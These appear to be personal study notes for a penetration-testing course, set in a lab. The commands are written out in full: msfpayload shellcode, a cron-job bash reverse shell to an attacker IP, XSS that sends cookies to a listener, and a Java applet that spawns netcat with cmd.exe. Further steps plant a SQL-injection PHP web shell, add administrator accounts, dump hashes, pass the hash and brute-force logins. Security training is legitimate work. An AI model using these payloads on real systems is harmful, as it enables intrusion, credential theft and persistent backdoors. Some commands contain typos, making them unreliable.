- `root@kali:~#msfpayload linux/x86/shell_bind_tcp LPORT=4444 R|msfencode -b '\x00\x0A\x0D\x20'`
- The generated shellcode is 105 characters in length and has no bad characters.  
`|=>You will see:`  
`|=>buf=`  
`|=>"\hex chars..." -> Copy this`

- `root@kali:~#sudo nano crossfire-poc.py`  
 |=>#Under:  
 |=>host = "127.0.0.1"  
 |=>#Put:  
 |=>shellcode=("hex chars...")  
 |=>#Change:  
 |=>crash=shellcode + "x41" \* 4368... #(<- This number needs to be reduced by 105 bytes)  
 |=>crash=shellcode + "x41" \* (4368 - 105) + ret...
- Save changes
- Now attempt to crash crossfire without debugger attached.

#### In one terminal:

- `root@kali:~#/usr/games/crossfire/bin/crossfire`
- In one other check port 4444 is listening
- `root@kali:~#netstat -antp | grep 4444`
- Then run exploit:
- `root@kali:~#python crossfire-poc.py`
- Again:
- `root@kali:~#netstat -antp | grep 4444`  
 |=>Shows 4444 is alive and listening
- If we give:
- `root@kali:~#nc -nv 127.0.0.1 4444`  
 |=>Shows port is open  
 |=>And because payload was sent by root user, we have root permissions.

#### Using Public Exploits:

- Don't blindly run external code
- Fake payloads can be disguised in reverse hex.
- `root@kali:~#printf $(cat fake-payload.txt |tr -d '\n')`  
 |=>Prints out hidden code that sends your information to server.
- Reliable sources for public exploit code:  
 |=>Exploit Database  
 |=>Security focus vulnerability archive
- These exploits typically undergo a more thorough examination
- Security focus - by Symantec
- Searchsploit - finds exploits in archive
- `root@kali:~#searchsploit smail`
- Exploits found online might need some debugging and fixing
- Never run exploit before checking and debugging
- Exploits can all be written in different languages
- Notice libraries to understand the code more
- Look for return addresses and servers
- If there's hard coded shellcode, we will need to change it before running it in our environment
- Fix these issues:
- `root@kali:~#gcc 643-fixed.c -o smail-linux`  
 |=>Creates ELF file



- Remember to direct exploits to port 443 and have a netcat listener listening
- `root@kali:~#nc -lvnp 443`
- If everything works, you'll get a reverse shell. Otherwise use Immunity Debugger and Wireshark to fix it

#### Cross-compatibility issues:

- Notice in code any windows libraries  
`#include <winsock2.h>`  
`#include <windows.h>`
- Irrelevant return address
- To cross-compile mingw is our friend
- `root@kali:~#apt-get install mingw32`

#### Cross-compile code:

- `root@kali:~#i586-mingw32msvc-gcc fixed.c`  
|=>Should return some compilation errors  
|=>Google these to find the correlating solutions, implement them and write them to file, .exe for windows.
- In linux run .exe with WINE
- `root@kali:~#wine slmail-windows.exe 192.168.30.35`
- Notice shell pops up in nc listener  
|=>Windows code on linux machine

#### VBScript File Transfers:

- Scripting languages can be elevated for post-exploitation
- `root@kali:~#cat wget-vbs`  
|=>Shows commands -> copy
- Put exploitable .exe in web root (/var/www/)
- `root@kali:~#cd exploit.exe /var/www/`
- `root@kali:~#service apache2 start` (<-Starts web server)
- Paste commands into a remote shell
- `C:\ProgramFiles\SLmail\System>dir wget.vbs`  
|=>Check file
- `C:\ProgramFiles\SLmail\System>cscript wget.vbs http://192.168.30.5/exploit.exe`  
`exploit.exe` (<- Saved File Name)
- Again check the file exploit.exe
- `C:\ProgramFiles\SLmail\System>dir exploit.exe`

#### Powershell File Transfers:

- Powerful windows scripting environment, check this is installed.
- Powershell and post exploitation go hand in hand  
|=>Flexible framework to access all ports of windows OS
- `root@kali:~#cat powershell-download`  
|=>Shows commands
- Shows commands
- Again copy into remote shell
- Now we can use this alongside powershell to bypass execution policy

- C:\ProgramFiles\SLmail\System>powershell.exe -ExecutionPolicyByoass -NoLogo -NonInteractive -NoProfile -File wget.ps1 powershell.exe -ExecutionPolicyBypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
- C:\ProgramFiles\SLmail\System>dir new-exploit.exe

### Privilege Escalation:

- Process of increasing level of access

### Linux Scenario:

- In this scenario, SSH credentials have been discovered but they don't have root privileges, which we need
- Use to get OS information, and architecture:
- `user@otheros:~$cat /etc/issue`
- `user@otheros:~$uname -a` (<- To discover vulnerable kernel)
- After googling we decide to use a linux kernel root exploit.
- Use wget to get exploit:
- `user@otheros:~$wget -O exploit.c http://WEBADDRESS.com/...`
- Once downloaded, compile exploit to a binary file
- `user@otheros:~$file exploit`
- `user@otheros:~$./exploit`
- Now we gave root privileges
- `user@otheros:~$cat /etc/shadow`
- Remember this might all not be smooth, and work
- Also check for security vulnerabilities

### Post Exploitation - File Transfers:

- Most hacks, the goal is to get code execution on the target machine
- For this assume we can already execute commands from a remote shell.
- "wget" - popular linux file transfer command
- Windows file transfers are usually more complex
- Remote shells gained by netcat-like payloads don't handle interactive console programs well. Due to limitations of input and output.
- When using limited remote shells, we need to limit our commands to be non-interactive.

### TFTP File Transfers:

- TFTP Is a UDP based FTP, and is restricted in corporate egress firewall rules.
- Older versions of windows up until XP had a TFTP client by default, now it needs to be added.
- TFTP is usually not ideal
- Advantage is TFTP is easy to set up, clients are not interactive, and make file transfers easy.

### Setting up TFTP directory on Linux:

- `root@kali:~#mkdir /tftp`
- `root@kali:~#atftod --daemon --port 69 /tftp` (<-Root directory, and daemon is the listener)
- `root@kali:~#cp /usr/share/windows-binaries/nc.exe /tftp/`  
|=>Copy windows version of netcat

- With remote shell running, download this file.
- `root@kali:~#C:\ProgramFiles\SLmail\System>tftp -i 192.168.. GET nc.exe`

### FTP File Transfers:

- On windows this is interactive which takes input to complete.
- On kali machine (FTP Server) set up FTP server
- `root@kali:~#apt-get install pure-ftpd`
- `root@kali:~#cat setup-ftp`
- `root@kali:~#./setup-ftp`
- Create a list of ftp commands:
  - |=>echo open 192.168.30.5 21 > ftp.txt
  - |=>echo offsec >> ftp.txt
  - |=>echo lab >> ftp.txt
  - |=>echo bin >> ftp.txt
  - |=>echo GET evil.exe >> ftp.txt
  - |=>echo bye >> ftp.txt
  - |=>ftp -s:ftp.txt
- Copy and paste these into terminal
- Check downloaded file:
  - |=>C:\ProgramFiles\SLmail\System\dir evil.exe

### Privilege Escalation Exploits in Windows:

- Poor validation from user loads parsing input to the windows kernel.
- In this video, the exploit a function driver allowed a user to send an unchecked buffer that leads to an override.
- This bug affected both x86 (32bit) and x64 (64bit) versions on windows XP and 2003
- The exploit is located at [www.exploit-db.com/exploits/18176/](http://www.exploit-db.com/exploits/18176/)
  - |=>Because it's written in python, we'd need to be lucky to have python pre-installed.

### Remote Desktop:

- `root@kali:~#rdesktop -u offsec -p Offsec! 192.168.30.35`
- Install python and module
- Put pyinstaller on desktop (extracted)
- Copy python privilege escalation exploit to windows machine, and save in pyinstaller dir
- If all done properly, it should be compiled to windows .exe file
- `>dir ms11-080.txt`
- `>move ms11-060.txt ms11-060.py`
- `>python pyinstaller.py --onefile ms11-080.py`
  - |=>Check if it works
- Remote desktop into windows machine as an under-privileged user.
- `root@kali:~#rdesktop -u bob -p password 192.168.1.1`
- Then in remote sessions:
- `C:\Documents&Settings\bob>net user hacker hacker /add`
  - |=>Access is Denied
- Now time to use the exploit

- Go to 192.168.30.5/ms11-080.exe  
|=>Download exploit to the desktop
- >cd Desktop
- >ms11-080.exe -O 2K3
- If everything works, you'll have a system shell
- >whoami  
|=>nt authority\system (The Admin!!)
- >net user hacker hacker /add
- >net localgroup administrators hacker /add

### Abusing Weak Service Permissions on Windows:

- Best done by looking for misconfigurations
- To go for vulnerable service with high privileges
- rdesktop to Windows 7 lab machine (192.168.30.35)
- In cmd:  
|=>net user lowpriv mypass /add  
|=>net localgroup "Remote Desktop users" lowpriv /add
- Once set up, install a vulnerable application.
- Photodex ProShow has a service issue  
|=>Install it
- Then run it and look f SCSI access service to find directory
- Back In cmd:  
|=>cd  
|=>cd  
|=>cd "Program Files"  
|=>cd Photodex  
|=>cd "ProShow Producer"  
|=>icals (<-Integrity control acl tool  
|=>This finds we can mess with the .exe file as a low privileged user
- In kali open a new terminal
- root@kali:~#cat useradd.c
- Now cross-compile useradd.c
- root@kali:~#i586-mingw32msvc-gcc useradd.c -o useradd.exe
- root@kali:~#file useradd.exe
- root@kali:~#cp useradd.exe /var/www/
- Go back to remote desktop
- Go to web browser:  
|=><https://192.168.30.5/useradd.exe>
- Back in cmd:  
|=>move scsiaccess.exe scsiaccess.exe.orig  
|=>copy C:\Users\lowpriv.offsec-lab\Downloads\useradd.exe scsiaccess.exe
- When the system reboots the fake scsi file will be run with admin privileges as the system starts up
- Close rdesktop
- Reconnect as the admin user  
|=>Go into users and notice lowpriv user isn't an admin account
- Restart scsiaccess.exe service, and despite the error that appears, it will run with

system privileges.

- Refresh user properties, and notice lowpriv user is now an admin.

### Abusing Weak Service Permissions on Linux:

- (Equivalent to prior lesson for Linux)
- `root@kali:~#ssh steve@192.168.31.240`
- First search system for world writable files
- `user@otheros:~$find / -perm -2 ! -type l -ls 2>/dev/null`  
|=>This will return lots of results
- Notice:  
|=>/etc/cron.hourly/mycleanup.sh on right hand side
- And notice horrible misconfiguration on the left:  
|=>Something like: -rwxrwxrwx
- As a low privileged user we can edit this script
- `root@kali:~#nano /etc/cron.hourly/my-clean.sh` (<- Notice no sudo)  
|=>This should just contain update and clean commands
- Add both reverse shell to send reverse netcat like connection to the attacking ip address on port 443
- `root@kali:~#bash -i >& /dev/tcp/192.168.30.5/443 0>&I`
- Go back to `user@otheros:~$:`
- `user@otheros:~$exit`
- `root@kali:~#nc -lvp 443`  
|=>Once cron shell executes, there'll be a reverse shell, and we'll have root access
- `root@ubuntu:~#id`
- `root@ubuntu:~#exit`
- So up until now we've seen several technical privilege escalation attacks. However the process can be as simple as finding an excel sheet on the target's desktop containing all passwords.  
|=>Otherwise leftover files in the file system can lead to privilege escalation.  
|=>Such as:
  - o Group policy configuration files
  - o Unattended installation files
  - o Badly written scripts with contained details
- As a Penetration Tester, you need to stay current with escalation attacks.  
|=>These act as tricks up your sleeve that can be pulled out when needed.

### Client Side Attacks:

- MS12-037 bulletin covers lots of vulnerabilities, one being a heap overflow caused by incorrect handling, public exploits available, and many archived versions in exploit-db.  
|=>*Internet Explorer and Col Span ID full ASLR and DEP bypass.*
- Get the exact OS plugin details for victim machine.
- Let's use this against a Windows 7 machine and simulate a client side attack.  
|=>W7(x86)
- The exploit uses a bind shell payload which isn't ideal, change this to reverse shell.
- Do this by swapping payload with one of the same size.
- So download exploit ([www.exploit-db.com/exploits/24017/](http://www.exploit-db.com/exploits/24017/)) and try it in the lab

environment.

- `root@kali:~#wget -O exploit.html`
- `root@kali:~#mv exploit.html /var/www/` (<-Web Root)
- Then start the apache server:
- `root@kali:~#apachectl start`
- The remote desktop to the Windows 7 machine.
  - |=>Open cmd
  - |=>`netstat -an | find "4444"`
  - |=>Doesn't put into listening state
- Now browse to <http://192.168.30.5/exploit.html> (<-Note this file is in `/var/www/` which is the web root)
  - |=>Internet Explorer crashes, and the first attempt fails.
  - |=>But if you reload the page there won't be a crash.
- In cmd reissue the same `netstat command`
- Now in the attacking kali box connect to the victim machine:
- `root@kali:~#nc -v 192.168.30.35`
  - |=>And we are presented with a bind shell
- Now to replace bind shell with a reverse shell
- Bind shell code in this case is in Unicode format, to compensate for JavaScript storing things in Unicode.
- In the comments on the shell code we notice its 342 bytes long.
- Use msfpayload to generate Unicode format shellcode, for jscript
- `root@kali:~#msfpayload windows/shell_reverse_tcp LHOST=192.168.30.5 LPORT=443 J` (<- For JavaScript Formatting)
  - |=>Outputs 314 byte shellcode (reverse)
- `root@kali:~#echo 342-314lbc`
  - |=>Shows 28 bytes smaller
- Copy reverse payload into a malicious html file.
- Add 28 bytes onto the end with 14 %u9090 (2 bytes each)
- Save this and test it again with netcat listener in a Windows 7 lab machine.
- It won't crash, might take a moment, but you should get a shell (USES A LOT OF MEMORY!!)
- Consider reliability.
- Check versions.
- Shows fragile nature of exploits.

### Malicious Java Applets:

- Attack people who have Java installed on their machine
- One issue, is victim will receive warning message before receiving Java payload
- Let's use a java file that downloads and executes a given file.
- Change jScript to return:
  - |=>`f = Runtime.getRuntime().exec("cmd.exe /c " + expath + "192.168.30.5 4444 -e cmd.exe");`
- Now exit the file
- Compile the Java code:
- `root@kali:~#javac Java.java`
- `root@kali:~#echo "Permissions: all-permissions"> /root/manifest.txt`

- Now sign the Java applet:
- `root@kali:~#keytool -genkey -alias signapplet -keystore -keypass mykeypass -storepass password123`  
 |=>Name: Haxor  
 |=>Organisational Unit: Orange  
 |=>Organisation: Offsec  
 |=>City: 127.0.0.1  
 |=>State: localhost  
 |=>Country Code: US
- `root@kali:~#jarsigner -keystore mykeystore -storepass password123 -keypass mykeypass -signedjar SignedJava.jar Java.jar signapplet`
- Copy into web root (`/var/www/`)
- `root@kali:~#cp Java.class SignedJava.jar /var/www/`
- Now embed applet:
- `root@kali:~#echo <applet width="1" height="1" id="Java Secure" code="Java.class" archive="SignedJava.jar"><param name="1"><value="http://192.168.30.5/evil.exe"></applet>' > /var/www/java.html`
- Copy windows version of netcat to `web root` and call it `evil.exe`
- `root@kali:~#cp /usr/share/windows-binaries/nc.exe /var/www/evil.exe`
- Set up listener on attacking machine:
- `root@kali:~#nc -lvp 4444`
- Now social engineer victims to visit the website in order to get them to download `evil.exe`  
 |=>Do this by providing incentive for victim to click on the link.
- Security warning will pop up. However, investing more time and money you can sign these applets with valid certificates.
- If the user accepts the certificate, we will receive a reverse netcat shell
- Execution is more important than actual exploit  
 |=> Relies on user.

### Web Application Attacks:

- Increasing in popularity
- Remember shopping and banking can be done online
- Most security exploits are done through web apps, not within the organisation
- Web Server runs servers side code  
 |=>Depending on quality of the code, site could be compromised by a malicious visitor.
- Web apps can be written in many languages each with specific vulnerabilities; however, main attack vendors are similar in concepts in Windows & Linux environments; but, it's all vast and complex.
- Add some plugins to the web browser for web assessment:  
 |=>Cookies Manager+ (Edits and manages cookies)  
 |=>Tamper Data (Views and modifies HTTP/HTTPS headers and post parameters.)
- Remote desktop into Windows 7 lab machine
- `root@kali:~#rdesktop -u offsec -p Offsec! 192.168.30.35`
- Run XAMPP control panel as admin

- |=>Start Apache
- |=>Start MySQL
- Back in Kali go into Web Browser and go to 192.168.30.35, which is a website on the Windows 7 lab machine.
- Notice you can sign the guestbook and it doesn't filter any user input.
- Leave fake name and try injecting javascript into it:  
|=><script>alert("XSS");</script>
- Now submit script
- In windows 7 machine go to <http://192.168.30.35> and an alert saying "XSS" should pop up
- |=>You can then delete the comment from the guestbook
- You can then add an invisible iframe into the HTML  
|=><iframe src=<http://192.168.30.5:81/report> height="0" width="0"></iframe>
- Setup listener on port 81:
- root@kali:~#nc -lvp 81
- When victim refreshes webpage, we will have a connection to the victim
- This redirection can redirect victim to client side exploits, browser info, and steal any cookies/authentication tokens, \*\*\*
- Have user login to the website admin panel:  
|=>username: offsec  
|=>password: 123456
- Now a cookie with a php session id is added to the admin session, because of this, no reauthentication is required
- We can extract cookie information with Java getting authentication tokens  
|=><script>  
|=>new Image().src="http://192.168.30.5:81/bogus.php?output=" + document.cookie;  
|=></script>  
|=>#Adds cookie as a parameter to this page
- We now get the victims PHP session ID.
- We can now use cookie manager+
- In web browser go Tools>Cookies Manager+
- Edit cookie and replace with admin cookie session received by the listener, now refresh admin panel and you should be in no problem in the admin panel.

### SQL Injection:

- Vulnerabilities caused by unsanitised user input most commonly accepted through HTML forms, the input is then passed onto the database allowing a malicious user to manipulate existing database queries. This can lead to database information leakage, and possibly complete server compromise. We will examine this in the PHP and MYSQL environment, the syntax might change for others.

### Classic Authentication Bypass:

- Classic example that demonstrates impact of manipulating existing queries
- Check a basic MYSQL script to show how it operates
- Operates directly with SQL code to gain a better understanding of them.
- C:\>cd xampp
- C:\xampp>cd mysql



- C:\xampp\mysql>cd bin
- C:\xampp\mysql\bin>mysql -u root -p
- C:\xampp\mysql\bin>show databases;
- Web application uses webappdb
- mysql>use webpassdb;
- mysql>show tables;
- mysql>select \* from users;
- Now let's try and do this during the log in process  
|=>Use false login details
- mysql>select \* from users where name = 'test' and password = '123456';
- mysql>select \* from users when name = 'secret' and password = 'password';

| Id | Name   | Password | Country |
|----|--------|----------|---------|
| 2  | secret | password | UK      |

- Now let's see what happens if a malicious user tries to manipulate the username and password fields.
- mysql>select \* from users where name='any' or 1=1;# and password = '123456';  
|=>All entries from user table returned
- mysql>select \* from users where name = 'any' or 1=1 limit 1;# and password = '123456';  
|=>Limits results to 1
- Username: and of 1=1 limit1;# on web app should log you in no problem
- We have cheated database into authenticating us
- As attackers we might not know how many lines we need, experiment with the 1 value.

### Error Based Database Enumeration:

- SQL Injection is most commonly used to disclose database information using various queries.
- We rely on abusing SQL statements and gathering information about database structure.
- Let's examine <http://192.168.30.35/comment.php?id=738>
- Notice the debug output: select \* from guestbook where id=738
- The vulnerability is that the user id is in the web address and is unsanitised
- Depending on verbosity of web application, an attacker could try to use the order by output query to gather table structure information, by expanding error messages.
- Add to the end of web address "order by 1" minus quotes
- When we hit enter, the page renders with no errors  
|=>Increase the number, and we will eventually get an error message, saying column doesn't exist.  
|=>In this case it is 7, so there are 6 columns in the database
- We can use a union, or a Union All operator, can combine results, and allow us to add our own select statements; however, our appended SELECT statement must

have the same number of columns as results of original SELECT statement in order to succeed. This is why we needed to enumerate the exact number of columns in table.

- Add union select statement to the end
- 738 union select 1,2,3,4,5,6
- 5 is in comment cell, the perfect place for output
- Let's see if we can enumerate the SQL server version
- So in the 5<sup>th</sup> column position replace 5 with "@@version" minus quotes (<- @@version is the mysql version command)
- System information displayed in the comment box
- Now replace "@@version" with "user()"
  - |=>This will show queries are running with root permissions
- Now try: ...738 union all select 1,2,3,4,table\_name, 6 FROM information\_schema.tables
  - |=>This will display all tables
- Now to target users table:
- 738 union all select 1,2,3,4,cokumn\_name, 6 FROM information\_schema.column where table\_name= 'users'
  - |=>Reveals 4 columns
- Now try to extract user details:
  - |=>738 union select 1,2,name,4,password,6 FROM users

### Blind SQL Injection Basics:

- In the event that we don't have the luck of a verbose web application
  - |=>More complex procedure
- We are going to increase security on PHP web app
  - |=>We'll turn off web application showing error message, and turn off error reporting.
- No longer receive information on SQL injections, so we'll receive SQL injection attacks blindly.
- However adding "and 1=1;#" can be indicative of an SQL injection point.
- If this doesn't indicate any SQ injection point we could always try and use time as a test parameter for our queries.
- First example would be to try and enter sleep function into my SQL query, and if webapp hangs for a few seconds we can deduce that once again our input is affecting db queries.
- Add to web address: ...id=738-sleep(5)
  - |=>Notice how webpage takes 5+ seconds to get back to us
- Now by using multiple queries we can start enumerating the database for various information.
- An example would be discovering the mysql database version
- We know from using mysql on Windows 7 lab machine the version is: 5.1.30-community
- We can now create a condition statement like:
  - mysql>select IF<MID<@@version,1,1> = '5', SLEEP<5>, 0>;
  - |=>Compares first output of the version command to the number 5.
  - |=>Query takes 5 seconds to complete - It means the version = 5

- Now copy that query and paste it into web address \*\*\*  
|=>And as expected hangs the web browser for 5+ seconds  
|=>Obviously if you change number to something else, the webpage will load immediately.
- Depending on the OS, service privileges and file system permissions, SQL Injection vulnerabilities may be used to read and write files on the underlying OS.  
|=>Writing file with own code to /root/ directory could then be leveraged for full code execution.
- As windows 7 is high user privileges, there will be few limitations
- On Linux web applications typically run by less privileged users and directory permissions are generally tighter
- Let's attempt to read hosts file with SQL load command.
- ...738 union all select  
1,2,3,4,load\_file("C:/Windows/system32/drivers/etc/hosts"),6  
|=>Once again display output in comments section
- Now let's create malicious file to web root (/var/www/)
- So again in comments box (#5)  
|=>...union all select 1,2,3,4 "<?php echo shell\_exec(\$\_GET['cmd']);?>",6 into OUTFILE 'C:/xampp/htdocs/backdoor.php'  
|=>Now in kali hit enter  
|=>In htdocs folder, there will now be backdoor.php
- Now navigate to 192.168.30.35/backdoor.php?cmd=ipconfig

### Bypassing Interface Restrictions:

- On many occasions a web application might trick given input by a user, this could be a dropdown menu when input is limited, or limited by length (Client-Side Validation.) Let's look at vulnerable search page. We see page has a text input box and a language dropdown menu.  
|=>Text input sanitised, language box is and isn't vulnerable  
|=>The SQL code is a post request, which means it doesn't allow for much url manipulation as done up until now.
- With this being the case, we can usually bypass these restrictions, by using a local web proxy. This proxy can intercept inbound and outbound http:// requests and allows us to send restricted parameters.
- Recall Tamper data, this will intercept post request, and allow us to edit language parameter.

### SQL Map:

- Everything above can be automated, and several useful tools exist in Kali Linux to help expedite exploitation vulnerabilities. One tool is SQL Map.
- SQL Map identifies and exploits SQL injection vulnerabilities.  
|=>We will use it to crawl and enumerate web applications, and search for SQL vulnerabilities.
- root@kali:~#sqlmap -u <http://192.168.30.35> --crawl=1
- Once an injection vulnerability has been found, we can use SQLmap to automate extraction of data from database.
- Now point it to vulnerable parameter in web application:

- `root@kali:~#sqlmap -u http://192.168.30.35/comment.php?id=738 --dbms=mysql -dump --threads=5`
- Contains many advanced features
- For example using OS shell parameter:
- `root@kali:~#sqlmap -u http://192.168.30.35/comment.php?id=738 --dbms=mysql --os-shell`  
 |=>Attempt to load file to web server with automatic code execution abilities.
- If attack works:
- `Os-shell>SYSTEM COMMANDS LIKE WINDOWS IPCONFIG GO HERE`  
 |=>Experiment ^^ with ^^ this ^^

### Password Attacks:

- Brute force (Automated Guessing Process) until password is found  
 |=>*Brute force attacks rely on a good Graphics Processing Unit (GPU) for speed purposes. As with the more GPUs we have, the easier it is to try many different encryption keys at once. Multiple graphics cards running in parallel are ideal for this type of attack.*
- Techniques and Tools vary for these attacks:  
 |=>Dictionary Files  
 |=>Keyspace Brute force
- Quality of these files determines success rate
- Dictionary files/wordlists are text files containing lots of different words, that might be the password.  
 |=>Used alongside password cracking tools to try and break a service by running through these lists.
- Kali Linux comes with pre-installed wordlists  
 |=>Located in `/usr/share/wordlists/`  
 |=> `root@kali:~#-l /usr/share/wordlists/`



### Crunch:

- Crunch is a wordlist generator.
- `root@kali:~#man crunch`
- `root@kali:~#crunch min-char-length max-char-length used-chars`
- `root@kali:~#crunch ... -o list.txt`  
 |=>To save wordlist files
- `root@kali:~#cat /usr/share/crunch/charset.lst`  
 |=>Predefined character sets
- `root@kali:~#crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha -o mixedalpha.txt`
- In the event of a pattern:  
 |=>Abc\$#123  
 |=>Jud()666  
 |=>Hol&&278 – The Pattern is: 1x CAPITAL | 2x lower | 2x special | 3x numeric |
- `root@kali:~#crunch 8 8 -t (<-Translation Matrix) ,@@^%|%|more`

- |=>160 GB Wordlist – *NO THANK YOU!!*
- See the man page for full functionality
- PNDUMP/FGDUMP:
  - |=>Tools to perform in memory attacks
  - |=>Injects .dll file containing hash dumping code into the local security authority sub system.
  - |=>LSASS process – Necessary tools to extend password hashes. Also many APIs that can be used by hash dumping tools.
- Connect to windows server or machine (.31.233):
- `root@kali:~#rdesktop 192.168.31.233 -u administrator -p p@55w0rd`
  - |=>We'll see FGDUMP in action.
  - |=>Most of these tools need admin privileges.
- `C:\...>whoami` (Check for admin)
- `C:\...>cd Desktop`
- `C:\...>cls` (`C:\...>cls == root@kali:~#clear`)
- `C:\...>fgdump.exe`
- This will dump system hashes in a .txt file, for all users on the system. For Windows 2008 LM hashes aren't stored on system and report back as empty.

### Windows Credential Editor (WCE):

- Security tool that allows one to perform several attacks to obtain cleartext passwords and hashes.
- There's 32 and 64 bit versions, make sure to get the appropriate one
- `C:\Users\Admin\Desktop>wce64.exe -w`
  - |=>Will dump/show admin password (p@55w0rd)
  - |=>Saves lots of time compared to brute force attack
- John the ripper turns password hashes into clear text.
  - |=>Copy over password hashes from FGDUMP
  - |=>Go into Kali
- `root@kali:~#nano hashes.txt`
  - |=>Paste hashes into here
- To use John the Ripper:
- `root@kali:~#john hashes.txt`
  - |=>Detects hash type
  - |=>Executes brute force attack on hashes, and can take a long time
- Another way to make use of hashes without cracking them, is known as passing the hash
  - |=>NTLM/LM hashes are static between sessions

### Passing the Hash:

- Using the hash in replacement of passwords
- `root@kali:~#pth-` (<- Shows different cmds)
- `root@kali:~#cat hashes.txt`
- `root@kali:~#nano hashes.txt`
- Replace the "no password" string with an empty hash like:  
aad3b435b51404eeaad3b435b51404ee

- Now copy the admins dumped hash:  
|=>Format: hash1:hash2
- Exit hashes.txt
- `root@kali:~#export SMBHASH=hash1:hash2`
- `root@kali:~#pth-winexe -U administrator % //192.168.31.233 cmd (<-Pth is a suite)`  
|=>Execute cmd on Windows 8 server with only the username
- We should now get a shell just from the username and hash
- `C:\Windows\system32>ipconfig`  
|=>Just to test shell

### Password Profiling:

- A way to customise a dictionary file to speed up an attack
- Cewl – retrieves key words from a target
- `root@kali:~#cewl www.megacorpone.com -m 6 -w /root/megacorp-cewl.txt`
- `root@kali:~#head meagacorp-cewl.txt`  
|=>Lists some found key words
- `root@kali:~#grep nanobots megacorp-cewl.txt`  
|=>*nanobots (Known password in this lesson)*
- Profiling involves changing all kinds of characters
- `root@kali:~#cat megacorp-cewl.txt lwc -l 331 (# of keywords)`
- Now for character changing, john comes to the rescue. (Password mutations)
- `root@kali:~#nano /etc/john/john.conf`  
|=>At the end of rules. Add 2 hashes to the end of passwords  
|=>`=$[0-9]$[0-9]`
- Save the file and apply the rules
- `root@kali:~#john --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt`  
|=>Results in about 50,000 passwords  
|=>Obviously this is oversimplified, but proves to be a good example of why password profiling is beneficial.

### Online Password Attacks:

- Repetitive process of trying to authenticate with different credentials.
- Servers include: http, ftp, etc...
- To automate a process, we first need to generate authentication requests for a specific service.
- Hydra, Medusa and NCrack – Built in network protocol handling  
|=>Password security audits

### Medusa:

- Example: http brute force attack
- `root@kali:~#medusa -h 192.168.31.219 -u admin -p password -file.txt -M http -m DIR:/admin -T 20 (<-20 Threads)`  
|=>If Medusa finds password, it will print result to the screen.

**NCrack:**

- Best and only tool to attack remote desktop protocol (RDP) reliably and quickly
- `root@kali:~#ncrack -v -f --user administrator -p password-file.txt rdp://192.168.31.233, CL=1`
  - |=>Not very practical in this case which makes brute force rather slow.
  - |=>Again if password is found, NCrack displays it on the console.

**Hydra:**

- `root@kali:~#hydra (<-Displays information)`
  - |=>Shows supported services

**Let's try an ftp attack:**

- `root@kali:~#hydra -l admin -P password-file.txt -v 192.168.31.219 ftp`
  - |=>It will return host, password, and login (username) details to the console.
- Online brute force password attacks cause lots of noise
- Failed login attempts will generate logs and warnings
- Some target machines may lock you out after a certain amount of login attempts
- Might block valid users
- Depending on protocol, one option to speed up a brute force attack is to increase number of login threads.
  - |=>For RDP and NetBIOS increasing number of threads may not be possible due to restrictions on protocols.
- So brute forcing RDP is usually more time consuming than http, but services like RDP often provide a bigger reward.
- The art involves choosing: user lists, targets, and password files very carefully and intelligently, before initiating the attack.

**Passwords and Hashes:**

- Cryptographic function is a one-way function that returns given data as a fixed-size bit string, called a hash value
  - |=>Most helpful in password verification
- Most systems need to store password locally on machine
  - |=>Usually stores them as hashes to improve security
  - |=>True for operating systems, Network Hardware

**Cracking Hashes:**

- In cryptanalysis, password cracking is a process of retrieving a cleartext passphrase given a stored hash. Once a hash type is known a common approach to crack it is to simulate the authentication process, by brute forcing password and comparing generated md5 hash. Without further information of the program that generated this hash, the exact hash can be very challenging to do or even impossible.
- A list of common hashes can be found on the open wall website, which provides us with an easy reference when trying to identify a password hash. Programs like

John the Ripper apply pattern matching features on the given hash in a cracking attempt; however, this technique works on generic hash only.

### LM & NTLM Hashing:

- Windows (All versions) store hashed user passwords in the security account manager, better known as SAM. Windows NT operating systems and Windows 2003 store two different types of password hashes: LM and NTLM, handled by LM Manager and NTLM Manager. LM hashing is known to be rather weak for several reasons. To begin with: Passwords > 7 characters are stored as two strings, the password is converted to UPPER-CASE characters before hashing, 3<sup>rd</sup> is the LM hashing system doesn't include salt, making Rainbow Table Attacks feasible.
- Rainbow Table Attack: Precomputed table for reversing cryptographic hash functions, usually for cracking password hashes.
- Windows Vista onwards, the operating system disables LM hashing by default and uses NTLM instead, which is case sensitive, supports all Unicode characters, and doesn't limit stored passwords to 7 character parts. However, in memory attacks, to dump the SAM hashes. SAM hashes can be mounted using various techniques.

### Port Redirection and Tunnelling (!!Brain Twister!!):

- Redirection tunnelling and port encapsulation
- Understanding these provide us with surgical tools to manipulate direction flow of the targets traffic. This can be useful in a restricted network environment.

### Port Forwarding:

- Accepting traffic on given IP address and redirecting it to a different IP address and port.
- Example of usefulness:
- In remote desktop session in Windows server 2008 go to cmd:  
 |=>C:\Users\Administrator>ipconfig  
 |=>IPv4 address: 182.16.40.20  
 |=>Subnet: 255.255.255.0  
 |=>Default Gateway: 172.16.40.1
- Now in the remote desktop session, run RDC and connect to Windows 2003 machine:  
 |=>C:\Users\Administrator>mstsc  
 |=>Computer: 67.23.72.109  
 |=>This will fail due to egress firewall presence in the network  
 |=>To make this work (bypass restriction), we'll need an intermediate proxy computer, like a Linux machine with a public IP address. (Which we should have in Kali!)
- In Kali:
- **root@kali:~#nano /etc/rinetd.conf**

Add under:   #       bindaddress               bindport               connect address   connect port



208.88.127.99 80

67.23.72.109 3389

- Write out and exit file
- `root@kali:~# /etc/init.d/rinetd restart`
- `root@kali:~# ifconfig`  
|=> Copy proxy IP address
- Now we can RDC to Windows 2003  
|=> Computer: 208.88.127.99:80
- We are now redirecting traffic to this IP, and so we can connect.

### Fun with SSH Tunnels and Proxies:

- SSH Protocol has many hidden secrets
- 1 ability is to create encrypted tunnels within the SSH protocol which supports bi-directional communication.  
|=> This feature of SSH has far reaching implications for both penetration testers and security administrators alike.
- Let's look at SSH local and remote port forwarding:
- SSH local port forwarding with the `-l` parameter allows us to connect a local port to a remote port over an encrypted SSH tunnel.  
|=> While useful an even more impressive tunnelling feature is the remote port forwarding ability of SSH.
- SSH remote port forwarding allows us to tunnel a remote port to a local server.
- The effects of this technique is best demonstrated through the following scenario.
- Organised client side attack on organisation, we've just received a shell from an internal, non-routable machine.
- `root@kali:~# nc -hp 443`
- `C:\> ipconfig`
- `C:\> dir plink.exe`  
|=> Has been uploaded (SSH Client)
- `C:\> netstat -a | find "LISTEN"`  
|=> Notice RDC is listening on the server
- We want to access the RDC port on this machine.
